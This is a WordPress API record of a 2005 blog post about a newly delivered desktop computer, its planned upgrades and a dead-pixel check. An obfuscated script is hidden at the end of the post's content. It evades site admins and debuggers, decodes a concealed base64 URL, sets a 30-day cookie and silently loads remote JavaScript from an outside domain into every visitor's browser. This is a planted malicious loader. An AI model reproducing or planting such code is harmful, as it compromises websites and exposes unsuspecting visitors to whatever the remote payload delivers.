{"id":123,"date":"2005-08-25T07:00:43","date_gmt":"2005-08-25T11:00:43","guid":{"rendered":"http:\/\/www.callblog.net\/?p=123"},"modified":"2025-10-17T13:33:47","modified_gmt":"2025-10-17T17:33:47","slug":"new-computer","status":"publish","type":"post","link":"http:\/\/callblog.net\/blog\/post\/new-computer","title":{"rendered":"New Computer"},"content":{"rendered":"<p>Arriving today:<br \/>\n<a href=\"http:\/\/www.pcconnection.com\/ProductDetail?Sku=5826944\"><img decoding=\"async\" src=\"http:\/\/www.callblog.net\/wp-images\/5824834.jpg\" \/><\/a><br \/>\n<a href=\"http:\/\/www.pcconnection.com\/ProductDetail?Sku=5720251\"><img decoding=\"async\" src=\"http:\/\/www.callblog.net\/wp-images\/5720251.jpg\" \/><\/a><\/p>\n<p>The box needs a bit more RAM and I&#8217;ll be throwing a higher end graphics card in it at some point (but with DVI on the motherboard, my only real complaint is shared video memory), but I&#8217;ve already got a <a href=\"http:\/\/www.callblog.net\/?p=107\">DVD burner<\/a>, so no worries about the base CD-ROM drive.  <\/p>\n<p>Work can can not end too quickly.<\/p>\n<p><strong>UPDATE<\/strong> 11:56am &#8211; The machine arrived and is in  working order.  I ran <a href=\"http:\/\/www.laptopshowcase.co.uk\/downloads.php?id=1\">Dead Pixel Buddy<\/a> and display seems to be perfect.  I snapped a picture of it setup on my desk at work (which is it&#8217;s temporary location until 5:30pm):<br \/>\n<img decoding=\"async\" src=\"http:\/\/www.callblog.net\/wp-images\/photo_0012.jpg\" \/><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Arriving today: The box needs a bit more RAM and I&#8217;ll be throwing a higher end graphics card in it at some point (but with DVI on the motherboard, my only real complaint is shared video memory), but I&#8217;ve already got a DVD burner, so no worries about the base CD-ROM drive. Work can can [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-123","post","type-post","status-publish","format-standard","hentry","category-technology"],"_links":{"self":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/123","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/comments?post=123"}],"version-history":[{"count":1,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/123\/revisions"}],"predecessor-version":[{"id":822,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/123\/revisions\/822"}],"wp:attachment":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/media?parent=123"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/categories?post=123"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/tags?post=123"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}